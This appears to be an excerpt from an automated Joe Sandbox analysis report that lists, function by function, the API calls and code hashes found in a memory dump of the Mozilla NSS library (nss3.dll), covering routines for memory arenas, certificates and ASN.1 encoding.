PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C9FFA2D
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C9FFA4F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Alloc_$Arena$CriticalEnterMark_SectionUnlockValuefree
String ID:
API String ID: 1549345101-0
Opcode ID: ada5cc1b4f453b3b6bcf2d3b98017b25e733f5ee1c50e65da1fcfbf52d5fcdd3
Instruction ID: cd857d5d21483bb3e91bc2946bab678d9180be693709d8daf2ef6bc89b1fbca6
Opcode Fuzzy Hash: ada5cc1b4f453b3b6bcf2d3b98017b25e733f5ee1c50e65da1fcfbf52d5fcdd3
Instruction Fuzzy Hash: 9D3198B1B013129BEB108F6D9880B6776E86B48A8CB14C139ED29DBB01F770D816C7D1

Function 6CA13FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CA13FF2

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CA14001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CA1400F

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CA14054

Part of subcall function 6C9ABB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C9ABC24
Part of subcall function 6C9ABB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9ABC39
Part of subcall function 6C9ABB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C9ABC58
Part of subcall function 6C9ABB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C9ABCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA14070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CA140CD

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: fe3c7086ac78768736658a11d4c206c71ee6717bacef725d1cd17006d8f7b6cb
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: C931E971E043419BEB009F659D41BBB3364AF9064CF144224FE489BB42F766E9D88291

Function 6C9B2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C9A2D1A), ref: 6C9B2E7E

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

PR_Now.NSS3 ref: 6C9B2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C9B2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C9A2D1A), ref: 6C9B2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C9A2D1A), ref: 6C9B2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C9B2F81

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: e266cb7727bad12db9f297c3c8c50d5036d9124fb7fa8548342b7e8d755fb593
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 3D312671501900ABF710C656DC4CBBFB2A9EF80358F644A79D42DB7AD0EB31D89AC621

Function 6C9A0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C9A0A2C), ref: 6C9A0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C9A0A2C), ref: 6C9A0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C9A0A2C), ref: 6C9A0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C9A0A2C), ref: 6C9A0E90
free.MOZGLUE(00000000), ref: 6C9A0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C9A0A2C), ref: 6C9A0ED9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 48bf61a8d0dc1278fc82c219d2f3216d74760b1e314d29f0abe9c15abd21651a
Instruction ID: c8ba2a9927e110ca9c004bf4f3da9d875318086e1e87cc29f721d2d722f5f8d1
Opcode Fuzzy Hash: 48bf61a8d0dc1278fc82c219d2f3216d74760b1e314d29f0abe9c15abd21651a
Instruction Fuzzy Hash: 78216E72F002845BEB104AE69C41B6B72AEDBD174CF391035D81E63A02EA71D85B92A1

Function 6C9AB810 Relevance: 9.1, APIs: 6, Instructions: 101memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C1750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6C9A991E,00000000,00000000,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C1769
Part of subcall function 6C9C1750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C180C

Part of subcall function 6C9B89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A04
Part of subcall function 6C9B89E0: EnterCriticalSection.KERNEL32(?), ref: 6C9B8A15
Part of subcall function 6C9B89E0: memset.VCRUNTIME140(6C9B88AE,00000000,00000132), ref: 6C9B8A27
Part of subcall function 6C9B89E0: PR_Unlock.NSS3(?), ref: 6C9B8A35

Part of subcall function 6C9BFCA0: PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C9BFCBD
Part of subcall function 6C9BFCA0: strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C9BFCCC
Part of subcall function 6C9BFCA0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C9BFCEF
Part of subcall function 6C9BFCA0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9BFD32
Part of subcall function 6C9BFCA0: PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C9BFD46
Part of subcall function 6C9BFCA0: memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C9BFD6D
Part of subcall function 6C9BFCA0: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9BFD84

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C9AB88F
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C9AB8A3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9AB8B6
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9AB8C5
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C9AB8DC
free.MOZGLUE(00000000), ref: 6C9AB8F5

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_ArenaUtilmemcpystrlen$EnterMonitor$CriticalExitInternalK11_SectionSlotUnlockValuefreememsetstrchrstrcmp
String ID:
API String ID: 3017222904-0
Opcode ID: f3ae7bbba450788d3378aba97976405e505c715d60f5799c9d04fa1d6f0fa179
Instruction ID: 6f1bd9dfd08a3cf96bef8cefc38cc6f070f8a5e5c28fec66cf348cffac9af75c
Opcode Fuzzy Hash: f3ae7bbba450788d3378aba97976405e505c715d60f5799c9d04fa1d6f0fa179
Instruction Fuzzy Hash: 43210976D0111967DB005E696D05BAB767DEFD129CF140070ED18AB701EB31DA1AC6F2

Function 6C98A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CA69270), ref: 6C98A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CA69270), ref: 6C98A9DE

Part of subcall function 6C98AB40: __aulldiv.LIBCMT ref: 6C98AB66

Part of subcall function 6CA6CA40: LeaveCriticalSection.KERNEL32(?), ref: 6CA6CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6C98AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6C98AA39
EnterCriticalSection.KERNEL32(?), ref: 6C98AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C98AAEB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: b56a2ff99cea2b4657e1a5854b9e4d560cbec9b17d3a9a94c04d21bd8f060eca
Instruction ID: 091badbf4773f9057da45b203fb7c6b3d927bcf845ee917a9f1bce7749133c37
Opcode Fuzzy Hash: b56a2ff99cea2b4657e1a5854b9e4d560cbec9b17d3a9a94c04d21bd8f060eca
Instruction Fuzzy Hash: 8C41A270605701CFD7109F29C584796BBF6FB15328F288A2DE46D8BA81DF75D882CB80

Function 6C9B88D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9C0725,00000000,00000058), ref: 6C9B8906
EnterCriticalSection.KERNEL32(?), ref: 6C9B891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C9B894A
calloc.MOZGLUE(00000001,6C9C072D,00000000,00000000,00000000,?,6C9C0725,00000000,00000058), ref: 6C9B8959
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8993
PR_Unlock.NSS3(?), ref: 6C9B89AF

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 7eb145a1a199437527f13dc3fe51b04f13303ceff6a9aba9234b6b747fd4bfb5
Instruction ID: 37d3be939415ae919592b1042dbf642a25e4bfdb0babced19273de95e428470c
Opcode Fuzzy Hash: 7eb145a1a199437527f13dc3fe51b04f13303ceff6a9aba9234b6b747fd4bfb5
Instruction Fuzzy Hash: A8312576E00216BBDB049F28DC40A57B7A8AF1971CF19852AEC1CE7B41E731E845C7D6

Function 6C9AAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9AAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C9AAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9AAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C9AAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CAC9500), ref: 6C9AAF23

Part of subcall function 6C9FF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C9FF0C8
Part of subcall function 6C9FF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9FF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9AAF37

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 5420bd5a3e7a04e1bbf2fe9158ee3548e39bdd473822f26496eb9f4acdc31051
Instruction ID: 0e91f2b3d8e7448a73c0b39d76267ca38bfe08add8422479f427a31fe6ae1802
Opcode Fuzzy Hash: 5420bd5a3e7a04e1bbf2fe9158ee3548e39bdd473822f26496eb9f4acdc31051
Instruction Fuzzy Hash: 81213C715053009BE7104E589C41B9A7BE4AF8972CF144314FD649B781EB31D55A8BA7

Function 6CA2EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA2EE85
realloc.MOZGLUE(D283B6FE,?), ref: 6CA2EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CA2EEC5

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

htonl.WSOCK32(?), ref: 6CA2EEE3
htonl.WSOCK32(00000000,?), ref: 6CA2EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CA2EF01

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 2490373c961bc5a6ff4613244af151fad5327f46976e89f5c6362ed8223b5984
Instruction ID: 3d3f9da89f00b1e2231315ebef757578c592e2f9573578b6e857354e1d6062f0
Opcode Fuzzy Hash: 2490373c961bc5a6ff4613244af151fad5327f46976e89f5c6362ed8223b5984
Instruction Fuzzy Hash: 5921D671A00224AFCB109F38DD8079A77B8EF45759F198169EC199B651D334EC98C7E2

Function 6C9F5ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9F5D71), ref: 6C9F5F0A
TlsGetValue.KERNEL32 ref: 6C9F5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C9F5F2F
PR_Unlock.NSS3(890008E8), ref: 6C9F5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C9F5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C9F5F7D

Part of subcall function 6C9F5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C9F5F82,8B4274C0), ref: 6C9F5248
Part of subcall function 6C9F5220: EnterCriticalSection.KERNEL32(0F6CAC0D,?,6C9F5F82,8B4274C0), ref: 6C9F525C
Part of subcall function 6C9F5220: PR_SetError.NSS3(00000000,00000000), ref: 6C9F528E
Part of subcall function 6C9F5220: PR_Unlock.NSS3(0F6CABF1), ref: 6C9F5299
Part of subcall function 6C9F5220: free.MOZGLUE(00000000), ref: 6C9F52A9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: 4c2ce9d5b56d17041ec24cd2356dddf7ae952dda63c14b99c3ce1f4ccaffcca2
Instruction ID: 53fdf2cc884bb8f60804978d7a285cda6b2f9604fabcfd09e63c14be5e66687b
Opcode Fuzzy Hash: 4c2ce9d5b56d17041ec24cd2356dddf7ae952dda63c14b99c3ce1f4ccaffcca2
Instruction Fuzzy Hash: FE210AB1D002045FEB149F64EC417EEB7B4EF19308F544028E919A7701E731D959C7D1

Function 6C9A7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9A7F68

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C9A7F7B

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9A7FA7

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CAC919C,?), ref: 6C9A7FBB

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9A7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CAC915C,00000014), ref: 6C9A7FFE

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 2730879cb7ca776ee9ea8ee9b3efc309a4014971608074795f67b14dc49674cc
Instruction ID: eb6c700064341cd6e9887cb1d92b0030623b60fcc4f21fff35491d9c3c9c7d11
Opcode Fuzzy Hash: 2730879cb7ca776ee9ea8ee9b3efc309a4014971608074795f67b14dc49674cc
Instruction Fuzzy Hash: 75112771E002045AF7109A75AD42BBB77FCDF5868CF040629FC69D2B42F720E659C2B2

Function 6C9ABE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CA2DC29,?), ref: 6C9ABE64

